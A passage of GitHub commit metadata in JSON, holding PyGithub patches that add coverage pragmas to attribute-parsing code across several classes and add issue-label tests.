\"base\", \"body\", \"changed_files\", \"closed_at\", \"comments\", \"commits\", \"created_at\", \"deletions\", \"diff_url\", \"head\", \"html_url\", \"id\", \"issue_url\", \"mergeable\", \"merged\", \"merged_at\", \"merged_by\", \"number\", \"patch_url\", \"review_comments\", \"state\", \"title\", \"updated_at\", \"url\", \"user\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"additions\" in attributes and attributes[ \"additions\" ] is not None:\n+ if \"additions\" in attributes and attributes[ \"additions\" ] is not None: # pragma no branch\n self.__additions = attributes[ \"additions\" ]\n- if \"base\" in attributes and attributes[ \"base\" ] is not None:\n+ if \"base\" in attributes and attributes[ \"base\" ] is not None: # pragma no branch\n self.__base = attributes[ \"base\" ]\n- if \"body\" in attributes and attributes[ \"body\" ] is not None:\n+ if \"body\" in attributes and attributes[ \"body\" ] is not None: # pragma no branch\n self.__body = attributes[ \"body\" ]\n- if \"changed_files\" in attributes and attributes[ \"changed_files\" ] is not None:\n+ if \"changed_files\" in attributes and attributes[ \"changed_files\" ] is not None: # pragma no branch\n self.__changed_files = attributes[ \"changed_files\" ]\n- if \"closed_at\" in attributes and attributes[ \"closed_at\" ] is not None:\n+ if \"closed_at\" in attributes and attributes[ \"closed_at\" ] is not None: # pragma no branch\n self.__closed_at = attributes[ \"closed_at\" ]\n- if \"comments\" in attributes and attributes[ \"comments\" ] is not None:\n+ if \"comments\" in attributes and attributes[ \"comments\" ] is not None: # pragma no branch\n self.__comments = attributes[ \"comments\" ]\n- if \"commits\" in attributes and attributes[ \"commits\" ] is not None:\n+ if \"commits\" in attributes and attributes[ \"commits\" ] is not None: # pragma no branch\n self.__commits = attributes[ \"commits\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None:\n+ if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None: # pragma no branch\n self.__deletions = attributes[ \"deletions\" ]\n- if \"diff_url\" in attributes and attributes[ \"diff_url\" ] is not None:\n+ if \"diff_url\" in attributes and attributes[ \"diff_url\" ] is not None: # pragma no branch\n self.__diff_url = attributes[ \"diff_url\" ]\n- if \"head\" in attributes and attributes[ \"head\" ] is not None:\n+ if \"head\" in attributes and attributes[ \"head\" ] is not None: # pragma no branch\n self.__head = attributes[ \"head\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"issue_url\" in attributes and attributes[ \"issue_url\" ] is not None:\n+ if \"issue_url\" in attributes and attributes[ \"issue_url\" ] is not None: # pragma no branch\n self.__issue_url = attributes[ \"issue_url\" ]\n- if \"mergeable\" in attributes and attributes[ \"mergeable\" ] is not None:\n+ if \"mergeable\" in attributes and attributes[ \"mergeable\" ] is not None: # pragma no branch\n self.__mergeable = attributes[ \"mergeable\" ]\n- if \"merged\" in attributes and attributes[ \"merged\" ] is not None:\n+ if \"merged\" in attributes and attributes[ \"merged\" ] is not None: # pragma no branch\n self.__merged = attributes[ \"merged\" ]\n- if \"merged_at\" in attributes and attributes[ \"merged_at\" ] is not None:\n+ if \"merged_at\" in attributes and attributes[ \"merged_at\" ] is not None: # pragma no branch\n self.__merged_at = attributes[ \"merged_at\" ]\n- if \"merged_by\" in attributes and attributes[ \"merged_by\" ] is not None:\n+ if \"merged_by\" in attributes and attributes[ \"merged_by\" ] is not None: # pragma no branch\n self.__merged_by = attributes[ \"merged_by\" ]\n- if \"number\" in attributes and attributes[ \"number\" ] is not None:\n+ if \"number\" in attributes and attributes[ \"number\" ] is not None: # pragma no branch\n self.__number = attributes[ \"number\" ]\n- if \"patch_url\" in attributes and attributes[ \"patch_url\" ] is not None:\n+ if \"patch_url\" in attributes and attributes[ \"patch_url\" ] is not None: # pragma no branch\n self.__patch_url = attributes[ \"patch_url\" ]\n- if \"review_comments\" in attributes and attributes[ \"review_comments\" ] is not None:\n+ if \"review_comments\" in attributes and attributes[ \"review_comments\" ] is not None: # pragma no branch\n self.__review_comments = attributes[ \"review_comments\" ]\n- if \"state\" in attributes and attributes[ \"state\" ] is not None:\n+ if \"state\" in attributes and attributes[ \"state\" ] is not None: # pragma no branch\n self.__state = attributes[ \"state\" ]\n- if \"title\" in attributes and attributes[ \"title\" ] is not None:\n+ if \"title\" in attributes and attributes[ \"title\" ] is not None: # pragma no branch\n self.__title = attributes[ \"title\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )","status":"modified","deletions":26,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/PullRequest.py","changes":52,"additions":26,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/PullRequest.py","filename":"src/github/PullRequest.py"},{"patch":"@@ -121,26 +121,26 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"body\", \"commit_id\", \"created_at\", \"html_url\", \"id\", \"line\", \"path\", \"position\", \"updated_at\", \"url\", \"user\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"body\" in attributes and attributes[ \"body\" ] is not None:\n+ if \"body\" in attributes and attributes[ \"body\" ] is not None: # pragma no branch\n self.__body = attributes[ \"body\" ]\n- if \"commit_id\" in attributes and attributes[ \"commit_id\" ] is not None:\n+ if \"commit_id\" in attributes and attributes[ \"commit_id\" ] is not None: # pragma no branch\n self.__commit_id = attributes[ \"commit_id\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"line\" in attributes and attributes[ \"line\" ] is not None:\n+ if \"line\" in attributes and attributes[ \"line\" ] is not None: # pragma no branch\n self.__line = attributes[ \"line\" ]\n- if \"path\" in attributes and attributes[ \"path\" ] is not None:\n+ if \"path\" in attributes and attributes[ \"path\" ] is not None: # pragma no branch\n self.__path = attributes[ \"path\" ]\n- if \"position\" in attributes and attributes[ \"position\" ] is not None:\n+ if \"position\" in attributes and attributes[ \"position\" ] is not None: # pragma no branch\n self.__position = attributes[ \"position\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion )","status":"modified","deletions":11,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/PullRequestComment.py","changes":22,"additions":11,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/PullRequestComment.py","filename":"src/github/PullRequestComment.py"},{"patch":"@@ -62,21 +62,21 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"additions\", \"blob_url\", \"changes\", \"deletions\", \"filename\", \"patch\", \"raw_url\", \"sha\", \"status\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"additions\" in attributes and attributes[ \"additions\" ] is not None:\n+ if \"additions\" in attributes and attributes[ \"additions\" ] is not None: # pragma no branch\n self.__additions = attributes[ \"additions\" ]\n- if \"blob_url\" in attributes and attributes[ \"blob_url\" ] is not None:\n+ if \"blob_url\" in attributes and attributes[ \"blob_url\" ] is not None: # pragma no branch\n self.__blob_url = attributes[ \"blob_url\" ]\n- if \"changes\" in attributes and attributes[ \"changes\" ] is not None:\n+ if \"changes\" in attributes and attributes[ \"changes\" ] is not None: # pragma no branch\n self.__changes = attributes[ \"changes\" ]\n- if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None:\n+ if \"deletions\" in attributes and attributes[ \"deletions\" ] is not None: # pragma no branch\n self.__deletions = attributes[ \"deletions\" ]\n- if \"filename\" in attributes and attributes[ \"filename\" ] is not None:\n+ if \"filename\" in attributes and attributes[ \"filename\" ] is not None: # pragma no branch\n self.__filename = attributes[ \"filename\" ]\n- if \"patch\" in attributes and attributes[ \"patch\" ] is not None:\n+ if \"patch\" in attributes and attributes[ \"patch\" ] is not None: # pragma no branch\n self.__patch = attributes[ \"patch\" ]\n- if \"raw_url\" in attributes and attributes[ \"raw_url\" ] is not None:\n+ if \"raw_url\" in attributes and attributes[ \"raw_url\" ] is not None: # pragma no branch\n self.__raw_url = attributes[ \"raw_url\" ]\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n self.__sha = attributes[ \"sha\" ]\n- if \"status\" in attributes and attributes[ \"status\" ] is not None:\n+ if \"status\" in attributes and attributes[ \"status\" ] is not None: # pragma no branch\n self.__status = attributes[ \"status\" ]","status":"modified","deletions":9,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/PullRequestFile.py","changes":18,"additions":9,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/PullRequestFile.py","filename":"src/github/PullRequestFile.py"},{"patch":"@@ -905,96 +905,96 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"clone_url\", \"created_at\", \"description\", \"fork\", \"forks\", \"full_name\", \"git_url\", \"has_downloads\", \"has_issues\", \"has_wiki\", \"homepage\", \"html_url\", \"id\", \"language\", \"master_branch\", \"mirror_url\", \"name\", \"open_issues\", \"organization\", \"owner\", \"parent\", \"permissions\", \"private\", \"pushed_at\", \"size\", \"source\", \"ssh_url\", \"svn_url\", \"updated_at\", \"url\", \"watchers\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"clone_url\" in attributes and attributes[ \"clone_url\" ] is not None:\n+ if \"clone_url\" in attributes and attributes[ \"clone_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"clone_url\" ], str )\n self.__clone_url = attributes[ \"clone_url\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"description\" in attributes and attributes[ \"description\" ] is not None:\n+ if \"description\" in attributes and attributes[ \"description\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"description\" ], str )\n self.__description = attributes[ \"description\" ]\n- if \"fork\" in attributes and attributes[ \"fork\" ] is not None:\n+ if \"fork\" in attributes and attributes[ \"fork\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"fork\" ], bool )\n self.__fork = attributes[ \"fork\" ]\n- if \"forks\" in attributes and attributes[ \"forks\" ] is not None:\n+ if \"forks\" in attributes and attributes[ \"forks\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"forks\" ], int )\n self.__forks = attributes[ \"forks\" ]\n- if \"full_name\" in attributes and attributes[ \"full_name\" ] is not None:\n+ if \"full_name\" in attributes and attributes[ \"full_name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"full_name\" ], str )\n self.__full_name = attributes[ \"full_name\" ]\n- if \"git_url\" in attributes and attributes[ \"git_url\" ] is not None:\n+ if \"git_url\" in attributes and attributes[ \"git_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"git_url\" ], str )\n self.__git_url = attributes[ \"git_url\" ]\n- if \"has_downloads\" in attributes and attributes[ \"has_downloads\" ] is not None:\n+ if \"has_downloads\" in attributes and attributes[ \"has_downloads\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"has_downloads\" ], bool )\n self.__has_downloads = attributes[ \"has_downloads\" ]\n- if \"has_issues\" in attributes and attributes[ \"has_issues\" ] is not None:\n+ if \"has_issues\" in attributes and attributes[ \"has_issues\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"has_issues\" ], bool )\n self.__has_issues = attributes[ \"has_issues\" ]\n- if \"has_wiki\" in attributes and attributes[ \"has_wiki\" ] is not None:\n+ if \"has_wiki\" in attributes and attributes[ \"has_wiki\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"has_wiki\" ], bool )\n self.__has_wiki = attributes[ \"has_wiki\" ]\n- if \"homepage\" in attributes and attributes[ \"homepage\" ] is not None:\n+ if \"homepage\" in attributes and attributes[ \"homepage\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"homepage\" ], str )\n self.__homepage = attributes[ \"homepage\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"language\" in attributes and attributes[ \"language\" ] is not None:\n+ if \"language\" in attributes and attributes[ \"language\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"language\" ], str )\n self.__language = attributes[ \"language\" ]\n- if \"master_branch\" in attributes and attributes[ \"master_branch\" ] is not None:\n+ if \"master_branch\" in attributes and attributes[ \"master_branch\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"master_branch\" ], str )\n self.__master_branch = attributes[ \"master_branch\" ]\n- if \"mirror_url\" in attributes and attributes[ \"mirror_url\" ] is not None:\n+ if \"mirror_url\" in attributes and attributes[ \"mirror_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"mirror_url\" ], str )\n self.__mirror_url = attributes[ \"mirror_url\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]\n- if \"open_issues\" in attributes and attributes[ \"open_issues\" ] is not None:\n+ if \"open_issues\" in attributes and attributes[ \"open_issues\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"open_issues\" ], int )\n self.__open_issues = attributes[ \"open_issues\" ]\n- if \"organization\" in attributes and attributes[ \"organization\" ] is not None:\n+ if \"organization\" in attributes and attributes[ \"organization\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"organization\" ], dict )\n self.__organization = Organization.Organization( self.__requester, attributes[ \"organization\" ], completion = LazyCompletion )\n- if \"owner\" in attributes and attributes[ \"owner\" ] is not None:\n+ if \"owner\" in attributes and attributes[ \"owner\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"owner\" ], dict )\n self.__owner = NamedUser.NamedUser( self.__requester, attributes[ \"owner\" ], completion = LazyCompletion )\n- if \"parent\" in attributes and attributes[ \"parent\" ] is not None:\n+ if \"parent\" in attributes and attributes[ \"parent\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"parent\" ], dict )\n self.__parent = Repository( self.__requester, attributes[ \"parent\" ], completion = LazyCompletion )\n- if \"permissions\" in attributes and attributes[ \"permissions\" ] is not None:\n+ if \"permissions\" in attributes and attributes[ \"permissions\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"permissions\" ], dict )\n self.__permissions = Permissions.Permissions( self.__requester, attributes[ \"permissions\" ], completion = LazyCompletion )\n- if \"private\" in attributes and attributes[ \"private\" ] is not None:\n+ if \"private\" in attributes and attributes[ \"private\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"private\" ], bool )\n self.__private = attributes[ \"private\" ]\n- if \"pushed_at\" in attributes and attributes[ \"pushed_at\" ] is not None:\n+ if \"pushed_at\" in attributes and attributes[ \"pushed_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"pushed_at\" ], str )\n self.__pushed_at = attributes[ \"pushed_at\" ]\n- if \"size\" in attributes and attributes[ \"size\" ] is not None:\n+ if \"size\" in attributes and attributes[ \"size\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"size\" ], int )\n self.__size = attributes[ \"size\" ]\n- if \"source\" in attributes and attributes[ \"source\" ] is not None:\n+ if \"source\" in attributes and attributes[ \"source\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"source\" ], dict )\n self.__source = Repository( self.__requester, attributes[ \"source\" ], completion = LazyCompletion )\n- if \"ssh_url\" in attributes and attributes[ \"ssh_url\" ] is not None:\n+ if \"ssh_url\" in attributes and attributes[ \"ssh_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"ssh_url\" ], str )\n self.__ssh_url = attributes[ \"ssh_url\" ]\n- if \"svn_url\" in attributes and attributes[ \"svn_url\" ] is not None:\n+ if \"svn_url\" in attributes and attributes[ \"svn_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"svn_url\" ], str )\n self.__svn_url = attributes[ \"svn_url\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"updated_at\" ], str )\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]\n- if \"watchers\" in attributes and attributes[ \"watchers\" ] is not None:\n+ if \"watchers\" in attributes and attributes[ \"watchers\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"watchers\" ], int )\n self.__watchers = attributes[ \"watchers\" ]","status":"modified","deletions":31,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Repository.py","changes":62,"additions":31,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Repository.py","filename":"src/github/Repository.py"},{"patch":"@@ -87,14 +87,14 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"id\", \"key\", \"title\", \"url\", \"verified\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"key\" in attributes and attributes[ \"key\" ] is not None:\n+ if \"key\" in attributes and attributes[ \"key\" ] is not None: # pragma no branch\n self.__key = attributes[ \"key\" ]\n- if \"title\" in attributes and attributes[ \"title\" ] is not None:\n+ if \"title\" in attributes and attributes[ \"title\" ] is not None: # pragma no branch\n self.__title = attributes[ \"title\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]\n- if \"verified\" in attributes and attributes[ \"verified\" ] is not None:\n+ if \"verified\" in attributes and attributes[ \"verified\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"verified\" ], bool )\n self.__verified = attributes[ \"verified\" ]","status":"modified","deletions":5,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/RepositoryKey.py","changes":10,"additions":5,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/RepositoryKey.py","filename":"src/github/RepositoryKey.py"},{"patch":"@@ -38,15 +38,15 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"commit\", \"name\", \"tarball_url\", \"zipball_url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"commit\" in attributes and attributes[ \"commit\" ] is not None:\n+ if \"commit\" in attributes and attributes[ \"commit\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"commit\" ], dict )\n self.__commit = Commit.Commit( self.__requester, attributes[ \"commit\" ], completion = LazyCompletion )\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]\n- if \"tarball_url\" in attributes and attributes[ \"tarball_url\" ] is not None:\n+ if \"tarball_url\" in attributes and attributes[ \"tarball_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"tarball_url\" ], str )\n self.__tarball_url = attributes[ \"tarball_url\" ]\n- if \"zipball_url\" in attributes and attributes[ \"zipball_url\" ] is not None:\n+ if \"zipball_url\" in attributes and attributes[ \"zipball_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"zipball_url\" ], str )\n self.__zipball_url = attributes[ \"zipball_url\" ]","status":"modified","deletions":4,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Tag.py","changes":8,"additions":4,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Tag.py","filename":"src/github/Tag.py"},{"patch":"@@ -172,15 +172,15 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"id\", \"members_count\", \"name\", \"permission\", \"repos_count\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"members_count\" in attributes and attributes[ \"members_count\" ] is not None:\n+ if \"members_count\" in attributes and attributes[ \"members_count\" ] is not None: # pragma no branch\n self.__members_count = attributes[ \"members_count\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n self.__name = attributes[ \"name\" ]\n- if \"permission\" in attributes and attributes[ \"permission\" ] is not None:\n+ if \"permission\" in attributes and attributes[ \"permission\" ] is not None: # pragma no branch\n self.__permission = attributes[ \"permission\" ]\n- if \"repos_count\" in attributes and attributes[ \"repos_count\" ] is not None:\n+ if \"repos_count\" in attributes and attributes[ \"repos_count\" ] is not None: # pragma no branch\n self.__repos_count = attributes[ \"repos_count\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]","status":"modified","deletions":6,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Team.py","changes":12,"additions":6,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Team.py","filename":"src/github/Team.py"},{"patch":"@@ -87,14 +87,14 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"id\", \"key\", \"title\", \"url\", \"verified\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"key\" in attributes and attributes[ \"key\" ] is not None:\n+ if \"key\" in attributes and attributes[ \"key\" ] is not None: # pragma no branch\n self.__key = attributes[ \"key\" ]\n- if \"title\" in attributes and attributes[ \"title\" ] is not None:\n+ if \"title\" in attributes and attributes[ \"title\" ] is not None: # pragma no branch\n self.__title = attributes[ \"title\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]\n- if \"verified\" in attributes and attributes[ \"verified\" ] is not None:\n+ if \"verified\" in attributes and attributes[ \"verified\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"verified\" ], bool )\n self.__verified = attributes[ \"verified\" ]","status":"modified","deletions":5,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/UserKey.py","changes":10,"additions":5,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/UserKey.py","filename":"src/github/UserKey.py"},{"patch":"@@ -3,7 +3,8 @@\n class Issue( Framework.TestCase ):\r\n def setUp( self ):\r\n Framework.TestCase.setUp( self )\r\n- self.issue = self.g.get_user().get_repo( \"PyGithub\" ).get_issue( 28 )\r\n+ self.repo = self.g.get_user().get_repo( \"PyGithub\" )\r\n+ self.issue = self.repo.get_issue( 28 )\r\n \r\n def testAttributes( self ):\r\n self.assertEqual( self.issue.assignee.login, \"jacquev6\" )\r\n@@ -47,3 +48,26 @@ def testGetComments( self ):\n \r\n def testGetEvents( self ):\r\n self.assertListKeyEqual( self.issue.get_events(), lambda e: e.id, [ 15819975, 15820048 ] )\r\n+\r\n+ def testGetLabels( self ):\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+\r\n+ def testAddAndRemoveLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( bug )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\", \"Question\" ] )\r\n+ self.issue.remove_from_labels( question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Project management\" ] )\r\n+ self.issue.add_to_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+\r\n+ def testDeleteAndSetLabels( self ):\r\n+ bug = self.repo.get_label( \"Bug\" )\r\n+ question = self.repo.get_label( \"Question\" )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Project management\", \"Question\" ] )\r\n+ self.issue.delete_labels()\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [] )\r\n+ self.issue.set_labels( bug, question )\r\n+ self.assertListKeyEqual( self.issue.get_labels(), lambda l: l.name, [ \"Bug\", \"Question\" ] )\r","status":"modified","deletions":1,"blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","changes":26,"additions":25,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/test/Issue.py","filename":"test/Issue.py"},{"patch":"@@ -3,13 +3,13 @@\n class IssueEvent( Framework.TestCase ):\r\n def setUp( self ):\r\n Framework.TestCase.setUp( self )\r\n- self.event = self.g.get_user().get_repo( \"PyGithub\" ).get_issues_event( 15819975 )\r\n+ self.event = self.g.get_user().get_repo( \"PyGithub\" ).get_issues_event( 16348656 )\r\n \r\n def testAttributes( self ):\r\n self.assertEqual( self.event.actor.login, \"jacquev6\" )\r\n- self.assertEqual( self.event.commit_id, None )\r\n- self.assertEqual( self.event.created_at, \"2012-05-19T10:38:23Z\" )\r\n- self.assertEqual( self.event.event, \"subscribed\" )\r\n- self.assertEqual( self.event.id, 15819975 )\r\n- self.assertEqual( self.event.issue.number, 28 )\r\n- self.assertEqual( self.event.url, 